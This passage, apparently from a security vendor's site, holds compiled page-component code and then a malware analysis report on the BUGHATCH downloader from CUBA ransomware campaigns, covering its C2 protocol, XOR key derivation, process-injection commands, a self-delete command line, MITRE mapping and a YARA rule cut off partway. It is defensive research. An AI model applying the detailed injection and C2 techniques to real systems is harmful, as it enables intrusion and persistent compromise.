x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"}],"category":[{"title":"Campaigns","slug":"campaigns","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)o(t,e,{get:n[e],enumerable:!0})},c=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of f(n))!_.call(t,a)\u0026\u0026a!==e\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(s=g(n,a))||s.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(p(t)):{},c(n||!t||!t.__esModule?o(e,\"default\",{value:t,enumerable:!0}):e,t)),C=t=\u003ec(o({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=d(m()),M={title:\"Campaigns\",slug:\"campaigns\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var F=D;return C(X);})();\n;return Component;"},"_id":"categories/campaigns.mdx","_raw":{"sourceFilePath":"categories/campaigns.mdx","sourceFileName":"campaigns.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/campaigns"},"type":"Category","url":"/categories/campaigns"},{"title":"Attack pattern","slug":"attack-pattern","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)o(t,e,{get:n[e],enumerable:!0})},s=(t,n,e,c)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of p(n))!g.call(t,a)\u0026\u0026a!==e\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(c=f(n,a))||c.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(_(t)):{},s(n||!t||!t.__esModule?o(e,\"default\",{value:t,enumerable:!0}):e,t)),M=t=\u003es(o({},\"__esModule\",{value:!0}),t);var i=j((b,u)=\u003e{u.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003ek});var r=d(i()),k={title:\"Attack pattern\",slug:\"attack-pattern\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"categories/attack-pattern.mdx","_raw":{"sourceFilePath":"categories/attack-pattern.mdx","sourceFileName":"attack-pattern.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/attack-pattern"},"type":"Category","url":"/categories/attack-pattern"},{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"BUGHATCH Malware Analysis","slug":"bughatch-malware-analysis","date":"2022-09-09","description":"Elastic Security has performed a deep technical analysis of the BUGHATCH malware. This includes capabilities as well as defensive countermeasures.","image":"libraries-edev-ops-1680x980.jpg","subtitle":"Malware analysis of the BUGHATCH downloader.","tags":["bughatch","cuba","ref9019"],"body":{"raw":"\n## Key takeaways\n\n- Elastic Security Labs is releasing a BUGHATCH malware analysis report from a recent [campaign](https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis)\n- This report covers detailed code analysis, network communication protocols, command handling, and observed TTPs\n- From this research we produced a [YARA rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Bughatch.yar) to detect the BUGHATCH downloader\n\n## Preamble\n\nBUGHATCH is an implant of a custom C2 deployed during the CUBA ransomware campaigns we observed in February of 2022, this tool was most likely built by the threat actor themselves as it was not used previously.\n\nBUGHATCH is capable of downloading and executing commands and arbitrary code, it gives the operator the freedom to execute payloads with different techniques like reflection, shellcode execution, system command execution, and so on. The samples we have seen were not obfuscated and were deployed using a custom obfuscated in-memory dropper written in PowerShell and referred to as [TERMITE by Mandiant](https://www.mandiant.com/resources/unc2596-cuba-ransomware).\n\nIn this document, we will go through the execution flow of BUGHATCH highlighting its functionalities and code execution techniques, a YARA rule and the MITRE ATT\u0026CK mapping can be found in the appendix.\n\nIn this analysis we will describe the following:\n\n- Token adjustment\n- Information collection\n- Threading and thread synchronization\n- Network communication protocol\n- Command handling\n\n\u003e For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:\n\u003e\n\u003e - [CUBA Ransomware Campaign](https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis)\n\u003e - [CUBA Malware Analysis](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis)\n\n## Static analysis\n\n| | |\n| ------------ | ---------------------------------------------------------------- | --- |\n| SHA256 | F1325F8A55164E904A4B183186F44F815693A008A9445D2606215A232658C3CF |\n| File Size | 35840 bytes |\n| File Type: | Win32 executable |\n| Signed? | No |\n| Packer? | No |\n| Compiler | Visual Studio 2017 - 15.5.0 preview 2 |\n| Compile Time | Sun Feb 06 21:05:18 2022 | UTC |\n| Entropy | 6.109 |\n\n### Sections\n\n| | | | | | |\n| ------ | -------------- | ------------ | -------- | ------- | -------------------------------- |\n| Name | VirtualAddress | Virtual Size | Raw Size | Entropy | MD5 |\n| .text | 0x1000 | 0x6000 | 0x5400 | 5.933 | A6E30CCF838569781703C943F18DC3F5 |\n| .rdata | 0x7000 | 0x3000 | 0x2A00 | 6.217 | 9D9AD1251943ECACE81644A7AC320B3C |\n| .data | 0xA000 | 0x1000 | 0x400 | 1.163 | B983B8EB258220628BE2A88CA44286B4 |\n| .reloc | 0xB000 | 0x424 | 0x600 | 5.235 | 39324A58D79FC5B8910CBD9AFBF1A6CB |\n\n## Code analysis\n\nBUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs ( **VirtualAlloc** , **CreateThread, WaitForSingleObject** ).\n\nThe PowerShell loader uses inline C# to load APIs needed for shellcode injection as seen in the following pseudocode.\n\n![Pseudocode PowerShell inline C#](/assets/images/bughatch-malware-analysis/image12.jpg)\n\nThe PowerShell script is obfuscated with random functions and variable names and contains the shellcode in a reverse-Base64 format.\n\n![Pseudocode embedded shellcode in Base64 format](/assets/images/bughatch-malware-analysis/image10.png)\n\nThe script first decodes the reverse-Base64 encoded data, then allocates a memory region with **VirtualAlloc** before copying the shellcode into it. Finally, the script executes the shellcode by creating a new thread with the **CreateThread** API.\n\n![Pseudocode PowerShell creates a new thread to execute the shellcode](/assets/images/bughatch-malware-analysis/image38.jpg)\n\nThe shellcode downloads another shellcode blob and the encrypted PE implant from the C2 server, this second shellcode decrypts and reflectively loads the PE malware.\n\nThis section dives deeper into the BUGHATCH execution flow, threading and encryption implementation, communication protocol with C2, and finally supported commands and payload execution techniques implemented.\n\nThe following is a diagram summarizing the execution flow of the implant:\n\n![Execution flow diagram of BUGHATCH](/assets/images/bughatch-malware-analysis/image16.png)\n\n![Pseudocode of the main function](/assets/images/bughatch-malware-analysis/image15.jpg)\n\n### Token adjustment\n\nThe implant starts by elevating permissions using the **SeDebugPrivilege** method, enabling the malware to access and read the memory of other processes. It leverages common Windows APIs to achieve this as shown in the pseudocode below:\n\n![](/assets/images/bughatch-malware-analysis/image20.jpg)\n\n### Information collection\n\nThe malware collects host-based information used to fingerprint the infected system, this information will be stored in a custom structure that will be 2-byte XOR encrypted and sent to the C2 server in an HTTP POST request.\n\nThe following lists the collected information:\n\n- Current value of the performance counter\n- Network information\n- System information\n- Token information\n- Domain and Username of the current process\n- Current process path\n\n#### Current value of the performance counter\n\nUsing the **QueryPerformanceCounter** API, it collects the amount of time since the system was last booted. This value will be used to compute the 2-byte XOR encryption key to encrypt communications between the implant and the C2 server, a detailed analysis of the encryption implementation will follow.\n\n![Pseudocode QueryPerformanceCounter function](/assets/images/bughatch-malware-analysis/image42.jpg)\n\n#### Network information\n\nIt collects the addresses of network interfaces connected to the infected machine by using the **GetIpAddrTable** Windows API.\n\n![Pseudocode collecting interface addresses](/assets/images/bughatch-malware-analysis/image22.jpg)\n\n#### System information\n\nBUGHATCH collects key system information which includes:\n\n- Windows major release, minor release, and build number\n- Processor architecture (either 32-bit or 64-bit)\n- Computer name\n\n![Pseudocode collecting system information](/assets/images/bughatch-malware-analysis/image18.jpg)\n\n#### Token information\n\nThe agent proceeds to collect the current process token group membership, it invokes the **AllocateAndInitializeSid** API followed by the **CheckTokenMembership** API, concatenating the [SDDL SID strings](https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings) for every group the process token is part of. While not unique to BUGHATCH, this is detected by Elastic's [Enumeration of Privileged Local Groups Membership](https://www.elastic.co/guide/en/security/current/enumeration-of-privileged-local-groups-membership.html) detection rule.\n\n![Pseudocode collecting token group membership information](/assets/images/bughatch-malware-analysis/image29.jpg)\n\n#### Domain and username of the current process\n\nThe malware opens a handle to the current process with **OpenProcessToken** and gets the structure that contains the user account of the token with **GetTokenInformation**. It then retrieves the username and domain of the user account with the **LookupAccountSidW** API and concatenates the 2 strings in the following format: **DOMAIN\\USERNAME**.\n\n![](/assets/images/bughatch-malware-analysis/image14.jpg)\n\n#### Current process path\n\nFinally, it collects the current process path with **GetModuleFileNameW**. The malware then encrypts the entire populated structure with a simple 2-byte XOR algorithm, this encryption implementation is detailed later in the report.\n\n## Threading and thread synchronization\n\nThe implant is multithreaded; it uses two different linked lists, one is filled with the commands received from the C2 server and the other is filled with the output of the commands executed.\n\nIt spawns 5 worker threads, each handling a command received from the C2 server by accessing the appropriate linked list using the **CriticalSection** object. The main process’ thread also retrieves the command's output from the second linked list using the **CriticalSection** object for synchronization purposes, to avoid any race conditions.\n\n![Pseudocode of the thread creation function](/assets/images/bughatch-malware-analysis/image45.jpg)\n\n## Network communication protocol\n\nIn this section we will detail:\n\n- Base communication protocol\n- Encryption implementation\n\nThe implant we analyzed uses HTTP(S) for communications. On top of the SSL encryption of the protocol, the malware and C2 encrypt the data with a 2-byte XOR key computed by the malware for each new session. The values to compute the 2-byte XOR key are prepended at the beginning of the base protocol packet which the server extracts to decrypt/encrypt commands.\n\nWhen launched, the malware will first send an HTTP POST request to the C2 server containing all the collected information extracted from the victim’s machine, the C2 then responds with the operator’s command if available, or else the agent sleeps for 60 seconds. After executing the command and only if the output of the executed command is available, the malware will send a POST request containing both the collected information and the command’s output, otherwise, it sends the collected information and waits for new commands.\n\n![Example of an implant HTTP POST request to an emulated C2 server](/assets/images/bughatch-malware-analysis/image32.png)\n\n### Base communication protocol\n\nThe author(s) of BUGHATCH implemented a custom network protocol, the following is the syntax that the agent and server use for their communication:\n\n![BUGHATCH agent and server communications](/assets/images/bughatch-malware-analysis/BugHatchanalysisreport_html.jpg)\n\n- **XOR key values:** The values to compute the 2-byte XOR encryption key used to encrypt the rest of the data\n- **Separator:** A static value ( **0x389D3AB7** ) that separates **Msg** chunks, example: the server can send different instructions in the same HTTP request separated by the **Separator**\n- **Chunk length:** Is the length of the **Msg** , **Separator** and **Chunk length**\n- **Msg:** Is the message to be sent, the message differs from the agent to the server.\n\nWe will dive deeper into the encapsulation of the **Msg** for both the agent and the server.\n\n![Pseudocode extracting commands according to the separator value](/assets/images/bughatch-malware-analysis/image40.jpg)\n\n### Encryption implementation\n\nThe malware uses 2-byte XOR encryption when communicating with the C\u0026C server; a 2-byte XOR key is generated and computed by the implant for every session with the C2 server.\n\nThe agent uses two DWORD values returned by **QueryPerformanceCounter** API as stated earlier, it then computes a 2-byte XOR key by XOR-encoding the DWORD values and then multiplying and adding hardcoded values. The following is a Python pseudocode of how the KEY is computed:\n\n```\ntmp = (PerformanceCount[0] ^ PerformanceCount[1]) \u0026 0xFFFFFFFF\nXorKey = (0x343FD * tmp + 0x269EC3)\u0026 0xFFFFFFFF\nXorKey = p16(XorKey \u003e\u003e 16).ljust(2, b'\\x00')\n```\n\n![Pseudocode of the encryption implementation](/assets/images/bughatch-malware-analysis/image9.jpg)\n\n## Command handling\n\nIn this section, we will dive deeper into the functionalities implemented in the agent and their respective **Msg** structure that will be encapsulated in the base communication protocol structure as mentioned previously.\n\nOnce the working threads are started, the main thread will continue beaconing to the C2 server to retrieve commands. The main loop is made up of the following:\n\n- Send POST request\n- Decrypt the received command and add it to the linked list\n- Sleep for 60 seconds\n\nA working thread will first execute the **RemoveEntryRecvLinkedList** function that accesses and retrieves the data sent by the C2 server from the linked list.\n\n![Pseudocode retrieves data sent by the C2](/assets/images/bughatch-malware-analysis/image43.jpg)\n\nThe thread will then de-encapsulate the data received from the C2 and extract the **Msg(Command)**. The malware implements different functionalities according to a command flag, the table below illustrates the functionalities of each command:\n\n| | |\n| ------------ | --------------------------------------------------------------------- |\n| Command FLAG | Description |\n| 1 | Group functions related to code and command execution |\n| 2 | Group functions related to utilities like impersonation and migration |\n| 3 | Process injection of a PE file in a suspended child process |\n\n### Command 1\n\nThis command gives access to functionalities related to payload execution, from DLL to PE executable to PowerShell and cmd scripts.\n\nSome of the sub-commands use pipes to redirect the standard input/output of the child process, which enables the attacker to execute payloads and retrieve its output, for example, PowerShell or Mimikatz, etc…\n\nThe following is the list of sub commands:\n\n| | | |\n| ---------------- | --------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |\n| Sub Command Flag | Function Name | Functionality description |\n| 2 | ReflectivelyExecutePERemote | Reflectively loads PE files in a child process and redirects its standard input output, the output will be sent to the operator C2 server |\n| 3 | DropPEDiskExecute | Drops a PE file to disk and executes it, the execution output is then sent to the operator’s C2 server |\n| 4 | SelfShellcodeExecute | Executes a shellcode in the same process |\n| 5 | RemoteShellcodeExecute | Executes a shellcode in a suspended spawned child process |\n| 6 | ExecuteCmd | Executes a CMD script/command |\n| 7 | ExecutePowershell | Executes a Powershell script/command |\n| 9 | ReflectivelyLoadDllRemote | Executes a DLL reflectively in a remote process using CreateRemoteThread API |\n\nThe following is the structure that is used by the above commands:\n\n```\nstruct ExecutePayloadCommandStruct\n{\n DWORD commandFlag;\n DWORD field_0;\n DWORD subCommandFlag_1;\n DWORD readPipeTimeOut_2;\n DWORD payloadSize_3;\n DWORD commandLineArgumentSize_4;\n DWORD STDINDataSize_5;\n CHAR payload_cmdline_stdin[n];\n};\n```\n\n- **commandFlag:** Indicates the command\n- **subCommandFlag:** Indicates the subcommand\n- **readPipeTimeOut:** Indicates the timeout for reading the output of child processes from a pipe\n- **payloadSize:** Indicates the payload size\n- **commandLineArgumentSize:** Indicates length of the command line arguments when executing the payload, example a PE binary\n- **STDINDataSize:** Indicates the length of the standard input data that will be sent to the child process\n- **Payload_cmdline_stdin:** Can contain the payload PE file for example, its command line arguments and the standard input data that will be forwarded to the child process, the malware knows the beginning and end of each of these using their respective length.\n\n#### ReflectivelyExecutePERemote\n\nThe agent reflectively loads PE binaries in the memory space of a created process in a suspended state (either **cmd.exe** or **svchost.exe** ). The agent leverages [anonymous (unnamed) pipes](https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes) within Windows to redirect the created child process's standard input and output handles. It first creates an anonymous pipe that will be used to retrieve the output of the created process, then the pipe handles are specified in the **STARTUPINFO** structure of the child process.\n\n![Pseudocode for anonymous pipe creation](/assets/images/bughatch-malware-analysis/image41.jpg)\n\nAfter creating the suspended process, the malware allocates a large memory block to write shellcode and a XOR encrypted PE file.\n\nThe shellcode will 2-byte XOR decrypt and load the embedded PE similar to ( **Command 3** ). This command can load 64bit and 32bit binaries, each architecture has its own shellcode PE loader, after injecting the shellcode it will point the instruction pointer of the child process’s thread to the shellcode and resume the thread.\n\n![Pseudocode of Reflective Loading PE into child processes](/assets/images/bughatch-malware-analysis/image2.jpg)\n\nThe following is an example of a packet captured from our custom emulated C2 server, we can see the structure discussed earlier on the left side and the packet bytes on the right side, for each command implemented in the malware, a packet example will be given.\n\n![Example of a ReflectivelyExecutePERemote command received from an emulated C2](/assets/images/bughatch-malware-analysis/image7.png)\n\n#### DropPEDiskExecute\n\nWith this subcommand, the operator can drop a PE file on disk and execute it. The agent has 3 different implementations depending on the PE file type, GUI Application, CUI (Console Application), or a DLL.\n\nFor CUI binaries, the malware first generates a random path in the temporary folder and writes the PE file to it using **CreateFileA** and **WriteFile** API.\n\n![Pseudocode writing payload to disk](/assets/images/bughatch-malware-analysis/image39.jpg)\n\nIt then creates a process of the dropped binary file as a child process by redirecting its standard input and output handles; after execution of the payload the output is sent to the operator’s C2 server.\n\nFor GUI PE binaries, the agent simply writes it to disk and executes it directly with **CreateProcessA** API.\n\nAnd lastly, for DLL PE files, the malware first writes the DLL to a randomly generated path in the temporary folder, then uses **c:\\windows\\system32\\rundll32.exe** or **c:\\windows\\syswow64\\rundll32.exe** (depending on the architecture of the DLL) to run either an exported function specified by the operator or the function **start** if no export functions were specified.\n\n![Pseudocode running the payload dropped by DropPEDiskExecute function](/assets/images/bughatch-malware-analysis/image1.jpg)\n\n![Example of a SelfShellcodeExecute command received from an emulated C2](/assets/images/bughatch-malware-analysis/image34.png)\n\n#### SelfShellcodeExecute\n\nThis subcommand tasks the agent to execute shellcode in its own memory space by allocating a memory region using **VirtualAlloc** API and then copying the shellcode to it, the shellcode is executed by creating a thread using **CreateThread** API.\n\n![Pseudocode of SelfShellcodeExecute command](/assets/images/bughatch-malware-analysis/image37.jpg)\n\n![Example of a SelfShellcodeExecute command received from an emulated C2](/assets/images/bughatch-malware-analysis/image35.jpg)\n\n#### RemoteShellcodeExecute\n\nThis sub-command can be used to execute a 32-bit or a 64-bit position independent shellcode in another process memory space.\n\nSimilarly to the **SpawnAgent** subcommand, the malware creates a suspended **svchost.exe** process with **CreateProcessA** API, allocates a memory region for the shellcode sent by the C2 server with **VirtualAllocEx** , and writes to it with **WriteProcessMemory** , it then sets the suspended thread instruction pointer to point to the injected shellcode with **SetThreadContext** and finally it will resume the thread with **ResumeThread** to execute the payload.\n\n![Pseudocode writes shellcode to remote process](/assets/images/bughatch-malware-analysis/image26.jpg)\n\n![Pseudocode set EIP of child process using SetThreadContext](/assets/images/bughatch-malware-analysis/image13.jpg)\n\n![Example of a RemoteShellcodeExecute command received from an emulated C2](/assets/images/bughatch-malware-analysis/image23.jpg)\n\n#### ExecuteCmd and ExecutePowershell\n\nAn operator can execute PowerShell scripts or CMD scripts in the infected machine, the malware can either write the script to a file in the temporary folder with a randomly generated name as follow: **`TEMP\u003cdigits\u003e.PS1`** for PowerShell or **`TEMP\u003cdigits\u003e.CMD`** for a Command shell. The malware then passes parameters to it if specified by the malicious actor and executes it, the malware uses named pipes to retrieve the output of the PowerShell process.\n\n![Pseudocode of ExecuteCmd command](/assets/images/bughatch-malware-analysis/image30.jpg)\n\n![Example of an ExecutePowershell command received from an emulated C2](/assets/images/bughatch-malware-analysis/image8.jpg)\n\n#### ReflectivelyLoadDllRemote\n\nExecute reflectively a 32-bit or 64-bit DLL in a process created in a suspended state, the following summarizes the execution flow:\n\n- Check if the PE file is a 32 or 64-bit DLL\n- Create a suspended **svchost.exe** process\n- Allocate memory for the DLL and the parameter for the DLL if specified by the C2 command with the **VirtualAllocEx** API\n- Write to the remotely allocated memory withthe **WriteProcessMemory** API the DLL and the parameter if specified\n- Create a remote thread to execute the injected DLL with the **CreateRemoteThread** API\n\n![Pseudocode of a ReflectivelyLoadDllRemote command](/assets/images/bughatch-malware-analysis/image19.jpg)\n\n![Example of a ReflectivelyLoadDllRemote command received from an emulated C2](/assets/images/bughatch-malware-analysis/image34.png)\n\n### Command 2\n\nThe command 2 has multiple sub functionalities as shown in the command table above, according to a subCommandFlag the malware can do 6 different operations as follows:\n\n| | | |\n| ---------------- | --------------------- | ---------------------------- |\n| Sub Command Flag | Function Name | Functionality description |\n| 1 | ExitProcess | Exit process |\n| 2 | SelfDeleteExitProcess | Self delete and exit process |\n| 3 | SpawnAgent64 | Spawn 64-bit agent |\n| 4 | SpawnAgent32 | Spawn 32-bit agent |\n| 0x1001 | ImpersonateToken | Impersonate explorer |\n| 0x1002 | MigrateC2 | Change C2 config |\n\nThe following is the structure that is used by the above commands:\n\n```\nstruct ImpersonateReplicateStruct\n{\n int subCommandFlag;\n int impersonateExplorerToken;\n char padding[16];\n __int16 isParameterSet;\n WCHAR w_parameters[n];\n};\n```\n\n#### ExitProcess\n\nCalls the **ExitProcess(0)** API to terminate.\n\n![Example of an ExitProcess command received from an emulated C2](/assets/images/bughatch-malware-analysis/image25.png)\n\n#### SelfDeleteExitProcess\n\nThe agent gets the PATH of the current process with **GetModuleFileNameA** and then executes the following command to self-delete: **cmd.exe /c del FILEPATH \\\\\u003e\\\\\u003e NUL** using **CreateProcessA** then simply exit the process with **ExitProcess(0)**.\n\n![Example of a SelfDeleteExitProcess command received from an emulated C2](/assets/images/bughatch-malware-analysis/image17.png)\n\n#### SpawnAgent64 and SpawnAgent32\n\nWhen subcommands 3 or 4 are specified, the malware will spawn another agent on the same machine depending on the subcommand sent by the C2, as shown in the table above.\n\nThe malware first retrieves the C2 IP address embedded in it, it will then do an HTTP GET request to download a packed agent in shellcode format, in the sample we analyzed **/Agent32.bin** URI is for the 32-bit agent, and **/Agent64.bin** is for 64-bit the agent.\n\n![Pseudocode spawning another agent](/assets/images/bughatch-malware-analysis/image33.jpg)\n\nThe malware then creates a suspended **svchost.exe** process with **CreateProcessA** API, writes the agent shellcode to the process, sets its instruction pointer to point to the injected shellcode with **SetThreadContext** , and finally it will resume the thread with **ResumeThread** to execute the injected payload.\n\n![Example of a SpawnAgent32 command received from an emulated C2](/assets/images/bughatch-malware-analysis/image5.png)\n\n#### ImpersonateToken\n\nThis subcommand is specific to process tokens; an attacker can either impersonate the **explorer.exe** token or create a token from credentials (Domain\\Username, Password) sent by the C2 to spawn another instance of the current process.\n\n![Pseudocode ImpersonateToken command](/assets/images/bughatch-malware-analysis/image44.jpg)\n\nIt will first check if the current process is a local system account or local service account or network service account by testing whether the given process token is a member of the group with the specified RID ( **SECURITY_LOCAL_SYSTEM_RID** , **SECURITY_LOCAL_SERVICE_RID** , **SECURITY_NETWORK_SERVICE_RID** ) respectively.\n\n![Pseudocode check token group membership](/assets/images/bughatch-malware-analysis/image36.jpg)\n\nThen depending if the operator specified credentials or not, the malware will first call **LogonUserW** with the Domain\\User and password to create a token then it will spawn another instance of the current process with this token.\n\n![Pseudocode LogonUserW to create a token](/assets/images/bughatch-malware-analysis/image24.jpg)\n\nIf not, the implant will impersonate the **explore.exe** process by duplicating its token with **DuplicateTokenEx** and then spawn the current process with the duplicated token if no credentials are specified.\n\n![Example of an ImpersonateToken command received from an emulated C2](/assets/images/bughatch-malware-analysis/image21.png)\n\n#### MigrateC2\n\nThe operator can migrate the implant to another C2 server by specifying the subcommand **0x1001** with the IP address of the new C2.\n\n![Pseudocode migrating the implant](/assets/images/bughatch-malware-analysis/image4.jpg)\n\n![Example of a MigrateC2 command received from an emulated C2](/assets/images/bughatch-malware-analysis/image31.png)\n\n### Command 3\n\nWhen command 3 is received the malware will reflectively load a PE file embedded as payload in the C\u0026C request in another process's memory space, the following is an overview of the execution:\n\n- Determine the type and architecture of the PE file\n- Create a suspended process\n- Allocate a large memory in the suspended process\n- Write a shellcode in the allocated memory that will locate, decrypt and reflectively load the PE file\n- 2-byte XOR encrypt the PE file and append it after the shellcode\n- Set the EIP context of the suspended process to execute the shellcode\n\nThe shellcode will then reflectively load the PE file\n\n![Pseudocode for Command 3's main logic](/assets/images/bughatch-malware-analysis/image6.jpg)\n\nThe agent first parses the PE file received from the C2 server to determine the type and architecture of the PE file.\n\n![Pseudocode determines the PE file architecture](/assets/images/bughatch-malware-analysis/image28.jpg)\n\nAnd according to this information, a Windows signed executable will be chosen to inject into.\n\nIf the PE file is CUI (Console User Interface), the malware will choose **cmd.exe** , however, if it is GUI (Graphical User Interface) or a DLL PE file it will choose **svchost.exe**.\n\n![Options for malware to inject into](/assets/images/bughatch-malware-analysis/image11.jpg)\n\nThe malware will then create a suspended process with **CreateProcessA** API (either **cmd.exe** or **svchost.exe** ) and allocate a large amount of memory with **VirtualAllocEx** in the created process, it will then copy a position independent shellcode stored in the **.rdata** section to the newly allocated memory that is responsible for locating according to a specific tag the appended PE file, decrypt it and reflectively load it in memory.\n\nThen it appends after the shellcode a 12 bytes structure composed of a tag, the size of the PE file, and a 2-byte XOR key.\n\nIt will then 2-byte XOR encrypt the PE file and append it after the structure, the following is an overview of the written data to the allocated memory:\n\n| | | | | |\n| --------- | --- | ------- | -------------- | ---------------------------- |\n| SHELLCODE | TAG | PE SIZE | 2-byte XOR KEY | 2-byte XOR encrypted PE file |\n\n![Pseudocode write shellcode and PE to child process](/assets/images/bughatch-malware-analysis/image27.jpg)\n\nThe agent will then set the thread context with **SetThreadContext** and point the instruction pointer of the suspended process to the shellcode then it will simply resume the execution with **ResumeThread**.\n\nThe shellcode will first locate the 2-byte XOR encrypted PE file according to the tag value ( **0x80706050** ), it will then 2-byte XOR decrypt it and load it reflectively on the same process memory.\n\n## Observed adversary tactics and techniques\n\nElastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n- [Execution](https://attack.mitre.org/tactics/TA0002)\n- [Collection](https://attack.mitre.org/tactics/TA0009)\n- [Command and Control](https://attack.mitre.org/tactics/TA0011)\n- [Exfiltration](https://attack.mitre.org/tactics/TA0010)\n\n### Techniques / sub techniques\n\nTechniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\n\n- [Command and Scripting Interpreter: Windows Command Shell](https://attack.mitre.org/techniques/T1059/003/)\n- [Encrypted Channel: Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002/)\n- [Encrypted Channel: Symmetric Cryptography](https://attack.mitre.org/techniques/T1573/001/)\n- [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/)\n- [Automated Collection](https://attack.mitre.org/techniques/T1119/)\n- [Native API](https://attack.mitre.org/techniques/T1106/)\n\n## Detections\n\n### Detection rules\n\nThe following detection rule was observed during the analysis of the BUGHATCH sample. This rule is not exclusive to BUGHATCH activity.\n\n- [Enumeration of Privileged Local Groups Membership](https://www.elastic.co/guide/en/security/current/enumeration-of-privileged-local-groups-membership.html#enumeration-of-privileged-local-groups-membership)\n\n### YARA rule\n\nElastic Security has created a [YARA rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Bughatch.yar) to identify this activity.\n\n```\nrule Windows_Trojan_BUGHATCH {\n meta:\n author = “Elastic Security”\n creation_date = \"2022-05-09\"\n last_modified = \"2022-06-09\"\n license = “Elastic License v2”\n os = \"Windows\"\n arch = \"x86\"\n category_type = 